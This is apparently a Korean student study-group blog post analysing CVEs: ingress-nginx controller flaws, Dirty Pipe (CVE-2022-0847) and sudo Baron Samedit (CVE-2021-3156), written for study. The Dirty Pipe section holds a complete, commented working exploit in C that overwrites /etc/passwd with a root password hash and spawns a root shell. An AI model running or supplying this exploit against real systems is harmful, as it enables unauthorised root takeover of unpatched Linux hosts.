본문 바로가기

4-1. 2025-1 심화 스터디/cve 취약점 분석

CVA_3주차_ 활동

[Kubernetes의 ingress nginx controller 다중 취약점]

3월 24일 , Kubernetes 의 Ingress-nginx controller 의 취약점을 공개함

공격자는 쿠버네티스 클러스터의 모든 네임스페이스에 저장된 비밀에 액세스할 수 있으며, 클러스터 인수로 이어질 수 있음.

 

 

개념 정의 

Ingress : URI,호스트 이름, 경로 등과 같은 웹 개념을 이해하는 프로토콜 인식 구성 메커니즘을 사용하여 HTTP(HTTPS) 네트워크 서비스를 사용할 수 있도록 함.

Ingress 개념을 사용한면 Kubernetes API 를 토해 정의한 규칙에 따라 트래픽을 다른 백엔드에 매핑할 수 있음.


Critical

[CVE-2025-1974] (CVSS 9.8) - RCE 에스컬레이션

  • 설명: 인증되지 않은 공격자가 ingress-nginx 컨트롤러 권한으로 임의 코드 실행 가능
  • 영향:
    • 포드 네트워크 접근만으로 공격 가능
    • 클러스터 전체의 Secrets 유출 위험 (기본 설치 시 컨트롤러는 모든 Secret에 접근 가능)

High

[CVE-2025-24514] (CVSS 8.8) - auth-url 주석을 통한 구성 주입

  • 설명: auth-url Ingress 주석을 통해 NGINX 구성 주입 가능
  • 영향:
    • ingress-nginx 컨트롤러 권한으로 RCE 가능
    • Secret 유출 위험

[CVE-2025-1097] (CVSS 8.8) - auth-tls-match-cn 주석을 통한 구성 주입

  • 설명: auth-tls-match-cn 주석을 통한 구성 주입 가능
  • 영향:
    • RCE 및 Secret 유출 가능

[CVE-2025-1098](CVSS 8.8) - mirror 주석을 통한 구성 주입

  • 설명: mirror-target, mirror-host 주석을 통한 구성 주입 가능
  • 영향:
    • RCE 및 Secret 유출 가능

Medium

[CVE-2025-24513 ](CVSS 4.8) - 경로 트래버설 취약성

  • 설명: Admission Controller에서 경로 트래버설 발생 가능
  • 영향:
    • DoS(서비스 거부) 발생 가능
    • 다른 취약점과 조합 시 제한적 Secret 노출 가능

CVE-2025-1974

CVE-2025-24514

CVE-2025-1097

CVE-2025-1098

CVE-2025-24513


[CVE-2022-0847] Dirty Pipe

  • 취약점 코드: CVE-2022-0847
  • 발견자: Max Kellermann
  • 영향 받는 버전: 리눅스 커널 5.8 이상 5.16.11, 5.15.25, 5.10.102 이하 버전 (더 이상 지원하지 않음)
  • 취약점 유형: 리눅스 로컬 권한 상승 취약점
  • 권한이 필요한 파일을 무단으로 수정하는 Dirty COW와 커널의 Pipe를 합쳐셔 Dirty Pipe 라고 불림.
  • 관련 사이트 : https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit?tab=readme-ov-file
 

GitHub - Arinerron/CVE-2022-0847-DirtyPipe-Exploit: A root exploit for CVE-2022-0847 (Dirty Pipe)

A root exploit for CVE-2022-0847 (Dirty Pipe). Contribute to Arinerron/CVE-2022-0847-DirtyPipe-Exploit development by creating an account on GitHub.

github.com


개념 정의

pipe “ | ”

  • 프로세스 간 통신(IPC)을 위한 방법으로, 한 프로그램의 출력 결과를 다음 프로그램으로 전달하는 기능
  • 커널 메모리를 파일로 접근할 수 있게 해줌.
  • 먼저 write한 데이터가 먼저 read되는 First In - First Out의 특성을 가짐
  • pipe에 쌓인 데이터는 고정된 메모리 영역에 있기 때문에 lseek을 적용할 수 없음

 

취약점 원리

  • Pipe(파이프) 버퍼가 O_RDONLY로 열려 있어도 데이터가 조작 가능
  • 읽기 전용 파일에 대해 splice()를 사용하면 파일 내용을 덮어쓸 수 있음
  • 공격자가 SUID 바이너리(예: /usr/bin/su)를 변조하면 루트 권한 획득 가능

 

공격 시나리오

  1. 공격자가 취약한 리눅스 서버에 일반 사용자로 로그인
  2. Dirty Pipe 취약점을 이용하려 계정 정보 파일 변조 또는 SUID 바이너리 하이재킨
  3. 리눅스 서버 관리자 권한 획득
  4. 중요 정보 탈취 및 추가 악성 행위 수행

취약점 상세 분석

Page Cache는 디스크와 메모리 간의 데이터 교환을 효율적으로 하기 위해 사용되는 캐시로, 리눅스에서 사용됨. 그러므로, Page Cache 을 변조하게 되면 시스템이 변조된 파일을 읽어오게 됨.

취약점이 발생하는 이유는 pipe 기능에서 다른 메모리 영역과 병합이 가능하도록 하는 특정 Flags 가 존재하데, 공격자가 임의로 설정하고 재사용할 수 있기 때문임.

 

 

이때, 데이터가 입력되는 offset을 변경하면 대상 파일의 메모리 영역을 덮어쓰게 되어 내용을 변조할 수 있음.

 

이를 공격자는 이용하여 page cache 와 계정 정보의 파일을 변조하여 관리자 권한을 획득할 수 있음.

 

 

 

코드 분석

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Dirty Pipe 취약점 (CVE-2022-0847)을 이용한 권한 상승 익스플로잇
 * 리눅스 5.8 이상에서 발생하는 pipe_buffer.flags 초기화 누락을 악용함
 * 읽기 전용 파일의 페이지 캐시를 직접 수정하여 시스템 파일을 덮어씀
 *
 * 참고: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Dirty Pipe의 핵심: 파이프에 존재하는 모든 pipe_buffer에
 * PIPE_BUF_FLAG_CAN_MERGE 플래그가 설정되도록 파이프를 준비함
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort(); // 파이프 생성 실패 시 종료

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); // 파이프 크기 확인
	static char buffer[4096];

	// 파이프를 가득 채움: 각 버퍼에 PIPE_BUF_FLAG_CAN_MERGE가 설정됨
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	// 파이프 비우기: 버퍼는 해제되지만 flags는 초기화되지 않고 남아있음
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	// 이제 이 파이프에 새로 추가되는 버퍼는 초기화되지 않은 flags를 가짐
}

int main() {
	const char *const path = "/etc/passwd";

    // 1. /etc/passwd 파일을 백업
    printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
    FILE *f1 = fopen("/etc/passwd", "r");
    FILE *f2 = fopen("/tmp/passwd.bak", "w");

    if (f1 == NULL) {
        printf("Failed to open /etc/passwd\n");
        exit(EXIT_FAILURE);
    } else if (f2 == NULL) {
        printf("Failed to open /tmp/passwd.bak\n");
        fclose(f1);
        exit(EXIT_FAILURE);
    }

    // 백업 내용 복사
    char c;
    while ((c = fgetc(f1)) != EOF)
        fputc(c, f2);
    fclose(f1);
    fclose(f2);

    // 2. 삽입할 root 계정 라인 정의 (비밀번호는 "aaron")
    loff_t offset = 4; // "root" 다음 위치
    const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n";
    printf("Setting root password to \"aaron\"...\n");
    const size_t data_size = strlen(data);

    // 페이지 경계에 쓰기 불가
    if (offset % PAGE_SIZE == 0) {
        fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
        return EXIT_FAILURE;
    }

    const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
    const loff_t end_offset = offset + (loff_t)data_size;
    if (end_offset > next_page) {
        fprintf(stderr, "Sorry, cannot write across a page boundary\n");
        return EXIT_FAILURE;
    }

    // 3. 대상 파일을 read-only로 열기
    const int fd = open(path, O_RDONLY);
    if (fd < 0) {
        perror("open failed");
        return EXIT_FAILURE;
    }

    struct stat st;
    if (fstat(fd, &st)) {
        perror("stat failed");
        return EXIT_FAILURE;
    }

    if (offset > st.st_size) {
        fprintf(stderr, "Offset is not inside the file\n");
        return EXIT_FAILURE;
    }

    if (end_offset > st.st_size) {
        fprintf(stderr, "Sorry, cannot enlarge the file\n");
        return EXIT_FAILURE;
    }

    // 4. Dirty Pipe용 파이프 준비
    int p[2];
    prepare_pipe(p);

    // 5. splice를 이용해 offset 이전 1바이트를 파이프에 복사
    //    => 페이지 캐시에 대한 참조가 추가됨
    --offset;
    ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
    if (nbytes < 0) {
        perror("splice failed");
        return EXIT_FAILURE;
    }
    if (nbytes == 0) {
        fprintf(stderr, "short splice\n");
        return EXIT_FAILURE;
    }

    // 6. write 호출로 페이지 캐시에 직접 덮어쓰기 (Dirty Pipe의 핵심)
    nbytes = write(p[1], data, data_size);
    if (nbytes < 0) {
        perror("write failed");
        return EXIT_FAILURE;
    }
    if ((size_t)nbytes < data_size) {
        fprintf(stderr, "short write\n");
        return EXIT_FAILURE;
    }

    // 7. su 명령어로 루트 로그인 후 셸 실행 + /etc/passwd 복구
    char *argv[] = {
        "/bin/sh", "-c",
        "(echo aaron; cat) | su - -c \""
        "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
        "cp /tmp/passwd.bak /etc/passwd;"
        "echo \\\"Done! Popping shell... (run commands now)\\\";"
        "/bin/sh;"
        "\" root"
    };
    execv("/bin/sh", argv);

    printf("system() function call seems to have failed :(\n");
    return EXIT_SUCCESS;
}

[CVE-20210-3156] Sudo Baron Samedit 

  • sudo 명령어에서 힙 버퍼 오버플로우로 인해 발생하는 권한 상승 취약점
  • 영향을 받는 대상 : sudo 1.8.2~ 1.8.31p2/ 1.9.0~1.9.5p1

 

취약점 원리

해당 취약점은 sudo 명령어를 사용할 때 -e /-ㅣ,-s 두 가지 옵션을 동시에 설정할 때 일어남.

하지만 일반적인 sudo 명령에서는 두 가지 옵션을 동시에 설정하는 것은 불가능함.

 

다만, "sudo" 아니라 "sudoedit" 명령어를 실행 시 프로그램 내부에서 자동으로 -e 옵션이 적용되면서 ,  “sudoedit –s” 명령 실행 시 “sudo –e –s” 옵션을 적용한 것과 동 일한 실행이 가능하기 때문에 취약점 요건이 충족됨.

 

 

취약점 상세 분석

CVE-2021-3156 취약점은 parse_args.c 에서 입력받은 인자의 길이 계산 후 메모리를 할당하는 과정에서 나타남.

C언어는 문자열 끝에 NULL 바이트를 삽입하여 문자열릐 끝을 표현하며, 이를 이용하여 입력 받은 길이를 계산함. 길이 계산 후 malloc을 이용하 여 계산한 길이만큼 메모리를 할당함. 이스케이프 문자로 입력된 공백을 처리하는 과정에 NULL 검증이 존재하지 않아 계산한 길이보다 더 긴 문자열을 메모리에 저장할 수 있어 버퍼 오버플로(buffer overflow)가 발생하게 됨.

 

취약점이 발생하는 코드에 진입하기 위해서는 2개의 조건을 만족해야 함.

또한, 다음의 if 문의 조건은 만족하지 않아야 함. if 문의 조건을 만족하면 내부의 반복문이 입력 받은 특수문자들을 변환하여 취약점이 발생하지 않음.

 

mode에 MODE_RUN이 아닌 값을 세팅하면 첫 번째 if문 회피가 가능함. 두 번째, 세 번째 if문은 MODE_SHELL, MODE_EDIT을 이용하여 조건을 만족시켜 취약한 코드에 접근 가능함. MODE_SHELL은 -s 옵션을 통해 설정 가능하며, MODE_EDIT은 -e 옵션을 통하여 설정 가능. 하지만 -e 옵션 설정 시 valid_flags가 세팅됨.

 

 

valid_flags가 세팅되면 아래의 조건문이 만족되어 사용법을 출력하고 sudo 명령이 종료됨.

 

이를 해결하기 위해 sudo -e와 동일한 명령인 sudoedit을 사용. sudoedit은 valid_flags가 설정되지 않아 MODE_EDIT 설정 후 취약한 코드에 도달 가능함

 

PoC 코드는 s_argv에 sudoedit -s 명령과 버퍼 오버플로(buffer overflow)를 일으킬 smash_a, smash_b를 저장하고, execve 함수를 이용하여 실행.

 

공격 시나리오

  1. 공격자는 취약한 버전의 sudo 명령어를 사용하는 기기를 탐색함 
  2. 공격자는 원격 접속 또는 물리적 접근을 통해 취약한 기기의 권한상승을 시도함
  3. 공격자는 취약한 sudo 버전을 사용하는 기기의 제어권을 탈취함
  4. 공격자는 제어권을 탈취한 기기를 이용하여 내부 네트워크에 악성코드를 전파함 공격자는 악성코드를 이용하여 중요정보를 획득함

대응 방안

sudo 버전 업그레이드

본인의 sudo가 취약한 버전인지 확인하는 방법은 아래와 같이 패치된 버전에서는 sudoedit -s / 입력시 usage: 오류가 출력됨.